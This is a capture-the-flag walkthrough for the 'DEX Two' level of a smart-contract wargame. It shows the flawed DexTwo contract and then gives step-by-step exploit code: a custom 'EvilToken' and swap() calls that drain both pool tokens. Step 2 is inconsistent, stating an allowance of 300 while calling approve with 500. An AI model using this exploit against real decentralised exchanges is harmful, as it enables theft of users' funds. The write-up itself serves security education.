✅
DEX Two
external ERC20 contract
This level will ask you to break
DexTwo
, a subtlely modified Dex
contract from the previous level, in a different way.You need to drain all balances of token1 and token2 from the
DexTwo
contract to succeed in this level.You will still start with 10 tokens of
token1
and 10 of token2
. The DEX contract still starts with 100 of each token.Things that might help:
- How has the
swap
method been modified?
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
import 'openzeppelin-contracts-08/access/Ownable.sol';
contract DexTwo is Ownable {
address public token1;
address public token2;
constructor() {}
function setTokens(address _token1, address _token2) public onlyOwner {
token1 = _token1;
token2 = _token2;
}
function add_liquidity(address token_address, uint amount) public onlyOwner {
IERC20(token_address).transferFrom(msg.sender, address(this), amount);
}
function swap(address from, address to, uint amount) public {
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint swapAmount = getSwapAmount(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}
function getSwapAmount(address from, address to, uint amount) public view returns(uint){
return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
}
function approve(address spender, uint amount) public {
SwappableTokenTwo(token1).approve(msg.sender, spender, amount);
SwappableTokenTwo(token2).approve(msg.sender, spender, amount);
}
function balanceOf(address token, address account) public view returns (uint){
return IERC20(token).balanceOf(account);
}
}
contract SwappableTokenTwo is ERC20 {
address private _dex;
constructor(address dexInstance, string memory name, string memory symbol, uint initialSupply) ERC20(name, symbol) {
_mint(msg.sender, initialSupply);
_dex = dexInstance;
}
function approve(address owner, address spender, uint256 amount) public {
require(owner != _dex, "InvalidApprover");
super._approve(owner, spender, amount);
}
}
Compared with DEX, DEX Two has a different implementation of the
swap()
function:![[DEX Two swap().png]]
The following
require
statement was implemented in DEX's swap()
but it is missing in DEX Two's swap()
:require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
This is problematic: we can introduce external token contracts (other than
token1
and token2
). The objective of this challenge is to drain both token1
and token2
(recall that in DEX we just had to drain one of them), and we can achieve that with a customized external token.We deploy a customized token contract and name the token "EvilToken" (EVL):
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract EvilToken is ERC20 {
constructor(uint256 initialSupply) ERC20("EvilToken", "EVL") {
_mint(msg.sender, initialSupply);
}
}
Deploy it with initial supply 400 (any large number suffices) in Remix. Send 100 EVL to the challenge contract by calling
transfer("<your_challenge_contract_address>", 100)
.Step 1: Get token contract addresses:
evlToken = "<your_EVL_token_contract_address>"
t1 = await contract.token1()
t2 = await contract.token2()
Step 2: In Remix, set allowance of the challenge contract to 300 by calling
approve("<your_challenge_contract_address>", 500)
(100 for token1
and 200 for token2
).At this stage, we have 100
token1
, 100 token2
, and 100 EVL
in the DEX. The price is 1:1:1.Step 3: Swap 100
token1
using 100 EVL
to drain token1
:await contract.swap(evlToken, t1, 100)
This works because
token1
and EVL
are 100:100 = 1:1. Verify if token1
is successfully drained:await contract.balanceOf(t1, instance).then(v => v.toString())
Step 4: Swap 100
token2
using 200 EVL
to drain token2
:await contract.swap(evlToken, t2, 200)
This works because
token2
and EVL
are 100:200 = 1:2. Verify if token2
is successfully drained:await contract.balanceOf(t2, instance).then(v => v.toString())
As we've repeatedly seen, interaction between contracts can be a source of unexpected behavior.
Some tokens deviate from the ERC20 spec by not returning a boolean value from their
transfer
methods. See Missing return value bug - At least 130 tokens affected.Other ERC20 tokens, especially those designed by adversaries could behave more maliciously.
If you design a DEX where anyone could list their own tokens without the permission of a central authority, then the correctness of the DEX could depend on the interaction of the DEX contract and the token contracts being traded.
Last time we read samczsun's price oracle article. This time we are going to dig a little deeper. cmichel has an article explaining the "Warp Finance hack":

Pricing LP tokens | Warp Finance hack | cmichel
Pricing LP tokens | Warp Finance hack | cmichel
Pricing LP tokens - Warp Finance hack - cmichel
Last modified 6mo ago